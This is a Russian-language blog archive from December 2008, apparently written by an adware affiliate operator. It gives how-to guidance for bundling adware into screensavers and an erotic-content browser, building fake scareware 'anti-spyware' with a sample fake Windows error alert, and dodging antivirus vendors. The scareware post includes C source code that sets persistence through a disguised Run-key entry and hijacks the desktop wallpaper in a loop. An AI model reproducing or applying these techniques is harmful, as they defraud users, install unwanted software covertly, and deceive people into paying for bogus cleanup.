Архив за Декабрь 2008

Zango закрывает свой офис в Тель-Авиве.

Декабрь 15, 2008

На днях Zango заявило, что в связи с глобальным экономическим кризисом решено закрыть офис в Тель-Авиве. Закрытие произойдет 15 января 2009 года. Это событие затронет 51 работника компании. Небольшая часть сотрудников продолжит работать после этой даты. Основные задачи для этой группы будут: маркетинг, разработка и тех-поддержка – это официально, а неофициально они будут должны подтянуть «хвосты» после чего их тоже уволят. Сокращение сотрудников в Тель-Авиве позволит открыть несколько вакансий в Северной Америке. «Меняют шило на мыло» или это все-таки дальновидное стратегическое решение? Кто знает! ;-)

Вот так глобальный экономический кризис затронул, казалось бы самую богатую в мире adware компанию с самой большой в мире партнерской сетью. Это уже второе сокращение ее сотрудников – суммарно будет уволено около 50% сотрудников компании. Антивирусники, ФБР, FTC не смогли добиться того, что с легкостью сделал экономический кризис.

Оптимизация скринсейверной партнерки.

Декабрь 14, 2008

Предупреждаю – эта статья будет сложной для понимания, а если точнее, то эта статья для тех, кто уже запустил партнёрку по распространению скринсейверов и столкнулся с проблемой роста. Для всех других данная статья не имеет ценности.

Допустим есть партнерка по скринсейверам. База скринсейверов – 1000 штук (в большинстве буржуйских партнерок база скринсейверов, как правило, больше 4000 штук(!)). Количество партнеров – 100. Для каждого партнера создается своя база скринсейверов. Поэтому общее количество скринсейверов будет 100 000 штук. Это уже очень много! А ведь партнеров всего-то 100. Что будет, если партнеров станет 1000? Сколько времени будет уходить на одну перекомпиляцию всех скринсейверов для всех партнеров – дни, недели…?

Необходима оптимизация партнерки. Нужно отказаться от компиляции базы скринсейверов для каждого клиента. База скринсейверов компилируется с adware только один раз. Но как же вести статистику загрузок и инсталляций для каждого партнера? Для этого создается специальная программа – «скачиватель скринсейверов». В этом «скачивателе скринсейверов» прописываются 2 пустые переменные – первая являет собой уникальный идентификатор партнера, а вторая указывает на то, какой скринсейвер следует скачать. Создается CGI-программа, которая будет динамически заполнять эти две пустые переменные внутри «скачивателя скринсейверов». Как результат, скачивание и установка скринсейверов для пользователя будет выглядеть так:

1.Пользователь заходит через партнерскую ссылку ( super-screensaver.com/scr.php?partnerID=23&screensaver=2145 ) на страницу скачивания скринсейвера. Номер партнера – «23», номер скринсейвера – «2145».
2.На этой странице он видит принтскрин скринсейвера и кнопку «Скачать!». Он нажимает эту кнопку. Кнопка «Скачать!» ведет не на скринсейвер, а на CGI-программу, которая должна инициировать скачивание «скачивателя скринсейверов». Этой CGI-программе передаются обе переменные – номер партнера , номер скринсейвера.
3.CGI-программа, на стороне сервера, динамически заполняет в «скачивателе скринсейверов» обе пустующие переменные (номером партнера и номером скринсейвера).
4.Инициируется скачивание «скачивателя скринсейверов».
5.Пользователь скачивает «скачиватель скринсейверов». Запускает его.
6.«Скачиватель скринсейверов» связывается с сервером и оттуда скачивает нужный скринсейвер (номер которого жестко прописан CGI-программой внутри самого «скачивателя скринсейверов»). К тому же «скачиватель скринсейверов» сообщает системе статистики номер партнера, благодаря которому был скачан скринсейвер.
7.«Скачиватель скринсейверов», находясь в компьютере пользователя, запускает Setup-файл скринсейвера.
8.Setup-файл устанавливает скринсейвер и adware на компьютер пользователя.

Таким образом в скринсейверой партнерке может быть почти неограниченное количество скринсейверов и партнеров – проблема роста партнерки решена.

Я понимаю, что в этой статье много тавтологии и она трудна для понимания. Но по-другому было нельзя. Если бы объяснял «в живую», то воспользовался бы диаграммами – стрелочками, квадратиками, ромбиками…;-) Но формат блога не способствует этому.

P.S. Всё вышеописанное не является «бредом сивой кобылы». Такой же или почти такой же способ установки используют такие компании как freeze.com, vomba.com, …

Ну, кто даст мне денег на партнерку? ;-)

Шутка – я знаю, что никто не даст :-) )))
-(:-)->-<

Псевдо-анти-спайвара – что это такое, и с чем это едят?

Декабрь 12, 2008

В последнее время интернет захлестнула волна разного рода анти-спайварных программ. И часть из них действительно очищает компьютеры пользователей от adware, trojans и др. malware. Понятное дело – чтобы создать полноценный антиспайварный продукт нужно приложить немало усилий, времени, денег. А что если денег хочется много и сейчас – «хапнуть деньжат и смыться на Канары»? Правильно – можно сделать программу, которая лишь имитирует «лечение» компьютера. Эти имитаторы именуются красивым английским словом – «Hoax».

Каким образом можно всучить по сути бесполезную программу пользователю, да ещё сделать так, чтобы он заплатил? Есть пара вариантов.

Первый вариант. Делается очень красивый интерфейс пользователя (со всякими психологическими уловками заставляющими пользователя чувствовать себя комфортно, глядя на запущенную программу – сочетание разных цветов, градиентов, элементов псевдо-3D-интерфейса … в общем, чтобы выглядело как последний Майкрософтский Офис ;-) ). После этого создается куча блогов, на которых расхваливается новый «мега» продукт, постинги в форумах, покупка рекламы в поисковиках – в общем стандартная раскрутка. Но времени и денег на всё это уйдет уйма.

Второй вариант. Делается программа, которая выводит тревожные сообщения о том, что система, якобы, заражена неким куль-хацкерским трояном и, что единственным способом избавиться от этого трояна – это скачать и запустить нашу мега-анти-спайварную программу.
Например:
——–
ОШИБКА В РАБОТЕ WINDOWS !
В системе обнаружена Spyware активность. Часть системных функций заблокирована.
Windows рекомендует вам очистить компьютер от Spyware. В противном случае пользовательские данные могут быть повреждены или удалены!
Список рекомендуемых утилит для удаления Spyware:
* StopAdWare – http://www.stop-ad-ware.com/
* AdAware – http://lavasoft.com
* SpyBot Search & Destroy – http://www.safer-networking.org/
——–
Пользователь скачивает и запускает мега-анти-спайварную программу, сканирует компьютер, программа выдаёт список «вирусов», якобы обнаруженных в системе. Понятно, что никаких вирусов нет и в помине;-) Список «вирусов» выдаётся без путей к ним – пользователю нельзя позволить проверить действительно ли есть хоть один из «вирусов» в системе. Пользователь напуган – это то, что нужно. Он пытается «вылечить» свой компьютер, нажав на кнопку «Удалить вирусы», но тут выскакивает окошко, которое вещает – «Купите ключ, чтобы снять ограничения в работе программы и удалить все вирусы» (ну или что-то типа этого). Дальше открывается браузер с сайтом на котором указана цена на «Анти-Спайвару», способы оплаты, контактные данные (на случай, если пользователь захочет пообщаться с сапортом).

Чтобы распространить как можно больше «программ-пугалок» нужно создать партнерку по распространению софта. Под каждого партнёра делается уникальная пара программ: программа-пугалка, и Анти-Спайвара. У каждой из этих двух программ есть уникальный идентификатор партнёра, по которому можно вести статистику инсталляций/покупок. Можно платить или за инсталляции, или за покупки.

Чтобы обезопасить себя от наездов антивирусников можно встроить в Анти-Спайвару удаление не только программы-пугалки с компьютера пользователя, но и нескольких других malware. В этом случае создатель Анти-Спайвары сможет «качать права», если вдруг сигнатуру Анти-Спайвары занесут в свои базы антивирусники :-) Программу уже будет нельзя квалифицировать как обман, ведь она удаляет несколько разных malware. В случае чего можно даже и в суд подать на антивирусников.

Исходники Программы-пугалки – меняет обои в компьютере пользователя на нашу картинку, каждый раз когда пользователь включает компьютер.
#define _WIN32_IE 0×0400
#include
#include
#include
char pfad[MAX_PATH];
void Registry(void) // вписываем в автозапуск
{
HKEY hKey = HKEY_CURRENT_USER;
LPCTSTR lpSubKey =»Software\\Microsoft\\Windows\\CurrentVersion\\Run»;
DWORD dwType = REG_SZ;
HKEY key;
RegOpenKeyEx(hKey, lpSubKey, 0, KEY_WRITE, &key);
GetModuleFileName(NULL, pfad, MAX_PATH);
RegSetValueEx(key, «Microsoft Windows Logon», 0, REG_SZ, (LPBYTE)pfad, strlen(pfad));
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
Registry();
if(DeleteFile(«1.dll»))
return 0;
else
{
while(true)
{
HRSRC hResource;
DWORD dwAdzealotSize;
DWORD dwTemp;
HANDLE hFile = CreateFile(«winerror.jpg»,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN,0);
if(hFile != INVALID_HANDLE_VALUE)
{
hResource = FindResource(0,MAKEINTRESOURCE(103),»FILE»);
dwAdzealotSize = SizeofResource(0,hResource);
WriteFile(hFile,LockResource(LoadResource(0,hResource)),dwAdzealotSize,&dwTemp,0);
CloseHandle(hFile);
}

// TODO: Place code here.
HRESULT hr=CoInitialize(0);
IActiveDesktop *pActiveDesktop;

//Create an instance of the Active Desktop
hr = CoCreateInstance(CLSID_ActiveDesktop, NULL, CLSCTX_INPROC_SERVER,
IID_IActiveDesktop, (void**)&pActiveDesktop);

//Insert code to call the IActiveDesktop methods
WALLPAPEROPT wo;
wo.dwSize=sizeof(wo);
wo.dwStyle=WPSTYLE_CENTER ;
hr=pActiveDesktop->SetWallpaper(L»winerror.jpg»,0);
hr=pActiveDesktop->SetWallpaperOptions(&wo,0);
hr=pActiveDesktop->ApplyChanges(AD_APPLY_ALL);

// Call the Release method
pActiveDesktop->Release();
CoUninitialize();
Sleep(30000);
}
}
return 0;
}

То, что написано в статье проверено – результат был;)

Эро-браузер + adware.

Декабрь 7, 2008

Давным-давно, аж в 2006 году поставил эксперимент – «Проверка эффективности распространения Adware через Эро-браузер». Сам Эро-браузер был максимально прост – форма, несколько кнопок, область отображения картинок. Браузер работал по алгоритму: пользователь нажимает на одну из кнопок (каждая кнопка отвечала за свою категорию эротики), Эро-браузер скачивает с сервера соответствующую страничку и отображает её. Порнушка была доступна исключительно через Эро-браузер. Изначально всё ориентировалось на западных дрочеров, но потом была сделана и русская версия.

Программа существовала в одном виде – «бесплатный экземпляр + adware». Setup-файла не было, был лишь один exe. Пользователь скачивал этот Эро-браузер, запускал его, браузер устанавливал adware, которое находился внутри программы в виде ресурса :-) Отсутствие Setup-файла позволяло дрочеру таскать Эро-браузер с собой и запускать его на всех компьютерах, которые ему попадались под руку, тем самым увеличивая базу adware инсталляций. Для установки adware не нужны были админские права (использовалась локальная главная папка пользовательского профайла).

Не было партнерки, не было тех-поддержки, раскрутка была ручной. Было интересно – клюнет ли американский дрочер на эту наживку ?:) Клюнул. Через пару месяцев после старта раскрутки этого сайта с эро-браузером количество инсталляций adware было приблизительно 25-35 в сутки. И этот результат был достигнут без партнерки, а что было бы если бы партнерка была? ;)

Скринсейверы. «Baby steps» :)

Декабрь 6, 2008

Захотели мы вдруг сделать скринсейверную партнерку. С чего бы начать? Первое – нужно определиться в том, какие скринсейверы делать – слайд-шоу, флэш, 2D/3D анимация. Если не пытаться сделать супер-уникальные скринсейверы, то можно обойтись имеющимися на рынке программами для их создания. Шаги по созданию Слайд-шоу скринсейвера максимально просты.

Выбираем темы для скринсейверов. Исходя из собственного опыта лучше всего скачиваются порно и автомобильные скринсейверы – их качают в основном мужская часть населения. Женщины предпочитают скринсейверы с Поп-звездами, Актёрами, видами природы (особенно пляжи тропических островов), смешными и милыми зверушками. Набираем фоток (обоев), и чтобы размеры у фоток были «экранные» – «1024х768», «1600х1200»…, но можно и не экранные. Этого добра в интернете полно. Конечно было бы совсем хорошо, если бы не было копирайтов на фотках, но такого контента сейчас все меньше и меньше :-\ А в идеале – нужно бы купить лицензионный фото-материал.

Потом, используя «Axialis Professional Screen Saver Producer 3.6», компонуем из этих фоток скринсейвер в формате «*.scr» – делается за несколько кликов. Следующий шаг – используя «Inno Setup 5» собираем вместе наш скринсейвер и adware. Получаем Setup-файл, который готов к распространению.

В случае, если захотим сделать флэш или 2D/3D анимацию, то придется приложить ощутимо больше усилий. Например посмотрите на сайт screensavers.funutilities.com – слайд-шоу скринсейверов 4 838, а 3D скринсейверов – всего 63. Если по секрету, то именно этот раздел скринсейверов давал компании Crawler.com/WebSearch.com максимальную прибыль, по крайней мере два года тому назад :)

Очевидно, имея готовый скринсейвер, нам не нужно каждый раз создавать его заново. К тому же можно автоматизировать создание Setup-файлов для каждого нового распространителя скринсейверов (в «Inno Setup 5» есть «Setup компилятор» – можно для каждого скринсейвера сделать отдельный скрипт компиляции Setup файла, и потом, через батничек запустить их компиляцию). Единственное, что требует изменений – это «ID партнера» в adware программе.

Теперь у нас есть скринсейверы. Делаем сайт, на котором их размещаем. Пишем скрипты партнерки. Отладка и поиск багов.

А теперь важный момент – в первые несколько месяцев нельзя делать никаких анонсов партнерки в форумах по заработку, а то набежит куча народу (в своем большинстве -«Пионэры» с сайтами с посещаемостью два с половиной калеченных посетителя в сутки) – и придется осуществлять тех-поддержку всей этой «Татаро-монгольской Орды» ;) А ещё конкуренты могут ДДОС устроить – особенно те, которые кодеки распространяют. Тут лучше не спешить и самому рассылать приглашение вэбмастерам посещаемых сайтов. Самый простой вариант – идём в каталог Рамблера и ищем «сайты с обоями», смотрим на посещаемость – минимум несколько сотен уников делающих около тысячи кликов в сутки – это значит, что скринсейверы с этого сайта будут распространяться. Вэбмастеру этого сайта можно слать приглашение.

Первый «Baby step» сделали ;-)

Статья не претендует ни на уникальность, ни какую-либо особенность. Для кого-то написанное тут – пройденный этап, а для кого-то – совершенно новая информация. Не забываем про толерантность ;)